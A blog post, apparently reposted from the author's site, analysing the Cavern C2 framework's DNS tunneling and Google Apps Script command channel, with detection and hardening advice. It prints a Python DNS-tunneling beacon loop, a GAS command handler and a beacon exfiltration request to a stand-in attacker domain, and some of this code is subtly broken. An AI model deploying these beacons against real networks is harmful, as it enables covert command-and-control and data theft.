DEV Community

Cover image for Cavern C2: DNS Tunneling & Google Apps Script Evasion
Satyam Rastogi
Satyam Rastogi

Posted on Originally published at satyamrastogi.com

Cavern C2: DNS Tunneling & Google Apps Script Evasion

Originally published on satyamrastogi.com

Cavern C2 framework exploits DNS queries and Google Apps Script for command exfiltration. Analysis of evasion techniques targeting Israeli entities reveals sophisticated traffic blending tactics.


Cavern C2: DNS Tunneling & Google Apps Script Evasion

Executive Summary

Cavern (aka Cav3rn), a command-and-control framework attributed to Iranian nation-state operators, has evolved significantly since December 2025. Kaspersky's ongoing monitoring revealed previously undisclosed components that leverage DNS tunneling and Google Apps Script integration for command delivery and data exfiltration. The framework's ability to blend malicious traffic with legitimate cloud services represents a critical evasion bypass for organizations relying on perimeter-based detection.

From an offensive perspective, this represents the maturation of "living off the land" C2 infrastructure - operators are no longer standing up dedicated command servers but instead weaponizing legitimate cloud services that security teams explicitly whitelist. This is asymmetric warfare at the infrastructure level.

Attack Vector Analysis

DNS Tunneling as C2 Channel

Cavern's DNS-based command channel exploits a fundamental trust assumption: DNS queries are rarely scrutinized beyond basic firewall rules. The attack chain maps to MITRE ATT&CK T1071.004 - Application Layer Protocol: DNS.

The framework establishes command channels by encoding instructions within DNS queries:

  • Query Encoding: Commands are encoded as subdomains within DNS A/AAAA record queries
  • Response Tunneling: Attacker-controlled nameserver responds with data-bearing TXT/MX records
  • Passive Collection: Beacon waits for DNS responses containing encoded directives

This mirrors established DNS exfiltration techniques but adds a critical layer: legitimate Google infrastructure acts as obfuscation layer. When a compromised host queries DNS for c2.attacker.com, the query passes through standard ISP DNS resolvers, appearing indistinguishable from normal traffic.

Google Apps Script Weaponization

The integration of Google Apps Script (GAS) represents sophisticated abuse of cloud infrastructure - specifically MITRE ATT&CK T1583.006 - Acquire Infrastructure: Web Services.

Google Apps Script provides:

  • Legitimate HTTPS Certificate: Requests appear signed by Google's SSL certificate
  • High Trust Score: GAS domains (script.google.com, script.googleusercontent.com) are whitelisted by 99% of organizations
  • Dynamic Execution: JavaScript execution allows runtime decision-making without hardcoding payloads
  • Minimal Attribution: Script execution logs buried in victim's Google Workspace audit trail (if enabled)

Operators can host command logic as GAS deployments, then reference them via HTTP requests that decrypt in-memory. A beacon simply needs to:

GET /macros/d/{SCRIPT_ID}/usercache HTTP/1.1
Host: script.googleusercontent.com
Authorization: Bearer {VICTIM_GOOGLE_TOKEN}
Enter fullscreen mode Exit fullscreen mode

The response contains JavaScript that the beacon interprets as commands. Detection is nearly impossible without analyzing Google's internal logs.

Targeting Profile

The campaign focuses on Israeli entities, consistent with Jewelbug APT's documented operational patterns, though attribution to Iranian operators suggests either shared infrastructure or parallel development. High-value targets likely include:

  • Defense contractors
  • Critical infrastructure operators (energy, water)
  • Government ministry networks
  • Financial/banking sector

Technical Deep Dive

DNS Tunneling Implementation

A simplified Cavern-style DNS exfiltration payload would operate as:

import dns.resolver
import base64

def encode_command(cmd_id, instruction):
 # Encode C2 instruction into subdomain label
 payload = f"{cmd_id}.{base64.b32encode(instruction.encode()).decode()}"
 return f"{payload}.c2-domain.attacker.com"

def tunnel_dns_query(domain):
 # Query appears normal to NIDS/firewall
 resolver = dns.resolver.Resolver()
 resolver.nameservers = ['8.8.8.8'] # Public DNS
 try:
 response = resolver.resolve(domain, 'A')
 # Attacker controls authoritative NS for attacker.com
 # Response contains exfiltrated data in TXT records
 txt_response = resolver.resolve(domain, 'TXT')
 return txt_response[0].to_text()
 except:
 pass

# Beacon execution loop
while True:
 response = tunnel_dns_query(encode_command(beacon_id, "whoami"))
 # Parse response, execute instruction
 execute_instruction(response)
Enter fullscreen mode Exit fullscreen mode

The critical advantage: this traffic is functionally identical to legitimate DNS queries. A SOC analyst examining logs sees:

192.168.1.50 -> 8.8.8.8:53 query A 0x1234 c2-domain.attacker.com
Enter fullscreen mode Exit fullscreen mode

Without DNS query content inspection or allowlisting specific legitimate subdomains, detection fails. Most organizations don't log DNS query contents at scale - just src/dst/port.

Google Apps Script Delivery

Attackers create a GAS project with encrypted payload:

// Google Apps Script deployment
function doGet(e) {
 var decryption_key = PropertiesService.getUserProperties().getProperty('key');
 var encrypted_payload = e.parameter.data;

 // Decrypt in-memory, avoid file I/O
 var decrypted = Utilities.computeHmacSha256Signature(
 encrypted_payload, 
 decryption_key
 );

 // Return command JSON
 return ContentService.createTextOutput(
 JSON.stringify({cmd: "execute", payload: decrypted})
 ).setMimeType(ContentService.MimeType.JSON);
}
Enter fullscreen mode Exit fullscreen mode

The beacon simply makes:

POST https://script.googleusercontent.com/macros/d/{SCRIPT_ID}/usercache HTTP/1.1
Content-Type: application/x-www-form-urlencoded

data=<base64_encrypted_exfil_data>
Enter fullscreen mode Exit fullscreen mode

Response is command JSON. This approach:

  • Uses Google's infrastructure for command delivery
  • Evades IP-based blocklisting (Google's IPs change constantly)
  • Bypasses SSL inspection (legitimate Google certificate)
  • Leaves minimal forensic evidence (buried in Google's logs, not local disk)

Detection Strategies

DNS Anomaly Detection

  1. Query Frequency Baseline: Establish normal DNS query rate per-host. Cavern beacons check-in at regular intervals - 30s to 5min is typical. Unusual query frequency to unusual domains (gibberish subdomains) indicates tunneling.

  2. Entropy Analysis: Legitimate subdomains have low entropy (mail.google.com). Encoded commands have high entropy. Tools like entropy.py or YARA rules detect base32/base64 encoded subdomains:

rule dns_high_entropy_tunneling {
 strings:
 $hex1 = /[a-z2-7]{16,}/i // base32 encoded
 $hex2 = /[a-zA-Z0-9+/]{20,}/ // base64 encoded
 condition:
 any of them
}
Enter fullscreen mode Exit fullscreen mode
  1. Authoritative NS Monitoring: Identify domains where your organization is NOT the authoritative NS but hosts query. These are external C2 domains. Cross-reference against threat intelligence feeds.

Google Apps Script Detection

  1. User-Agent Inspection: GAS requests use specific user-agents (Mozilla/5.0 (Windows; U; Windows NT 5.1... with gzip encoding). Anomalous POST requests to script.googleusercontent.com from internal hosts warrant investigation.

  2. Google Workspace Audit Logs: Enable audit logging for Apps Script execution. Search for:

    • Deployments with no owner (orphaned scripts)
    • Scripts executed outside business hours
    • Encrypted parameters in requests (indicates command obfuscation)
  3. Egress Filtering: Block outbound HTTP(S) to script.googleusercontent.com except from approved developer workstations. Most users have zero legitimate reason to reach this domain.

MITRE ATT&CK Detection Mapping

Mitigation & Hardening

Immediate Actions

  1. DNS Sinkholing: Coordinate with your ISP/DNS provider to sinkhole queries to known Iranian C2 infrastructure. CISA maintains active C2 indicators

  2. Google Workspace Restrictions:

 - Disable Apps Script execution for non-developer accounts
 - Require domain admin approval for new script deployments
 - Implement conditional access policy blocking script.googleusercontent.com 
 for non-approved users
Enter fullscreen mode Exit fullscreen mode
  1. DNS Query Logging: Implement full-packet DNS logging to a centralized SIEM. Tools like Zeek can log query contents:
 zeek -i eth0 dns
 # Parse dns.log for anomalies
Enter fullscreen mode Exit fullscreen mode
  1. Endpoint Detection: Deploy EDR solutions configured to alert on:
    • DNS resolution followed by HTTP(S) request to Google domains
    • Long-lived DNS tunneling patterns (same query repeated 50+ times)
    • Process spawning with encoded command-line arguments

Strategic Hardening

  1. Assume Breach Mentality: Cavern's use of legitimate cloud services means your perimeter controls failed. Focus on:

    • Network segmentation (isolate sensitive workstations)
    • Credential hygiene (MFA everywhere, prevent credential reuse)
    • Lateral movement detection (monitor internal DNS/HTTP traffic)
  2. Cloud Security Posture: Organizations using Google Workspace must:

    • Enforce SAML/SSO with MFA
    • Monitor for unauthorized OAuth app approvals
    • Disable legacy authentication (forces modern auth with better logging)
    • Implement DLP rules for sensitive data exfiltration via GAS
  3. Threat Intelligence Integration: Subscribe to Kaspersky's threat intelligence feeds and MITRE ATT&CK's adversary emulation plans to test detection against Cavern-specific TTPs.

Key Takeaways

  • Living off the Land C2 is the future: Operators have shifted from hardened command servers to weaponized cloud services. Organizations must stop trusting cloud provider domain whitelist and implement behavioral analysis instead.

  • DNS is a blind spot: Most organizations log DNS metadata only (src/dst/port). Full query logging is computationally expensive but mandatory for advanced threat detection. Implement DNS logging immediately if you haven't already.

  • Google Apps Script is dual-use infrastructure: Legitimate developers use GAS; so do APTs. Fine-grained access controls and audit logging are non-negotiable.

  • Attribution is ambiguous: While Kaspersky attributes to Iranian operators, the techniques are commoditized and likely shared across state and mercenary APT groups. Defend against the technique, not the actor.

  • Incident response must include cloud: A Cavern compromise likely involves Google Workspace abuse. Your IR playbook must include Google Workspace forensics, API log analysis, and OAuth token revocation procedures.

Related Articles

Sandworm Trojanized WireGuard: Supply Chain Social Engineering at Scale - Shows how nation-state operators abuse legitimate infrastructure

Jewelbug APT: Dual-Mission Espionage-for-Hire Infrastructure - Iranian APT infrastructure and operational patterns

AI Vulnerability Detection Feedback Loop: Attacker Advantage in Detection Evasion - How operators evade automated detection systems

Top comments (0)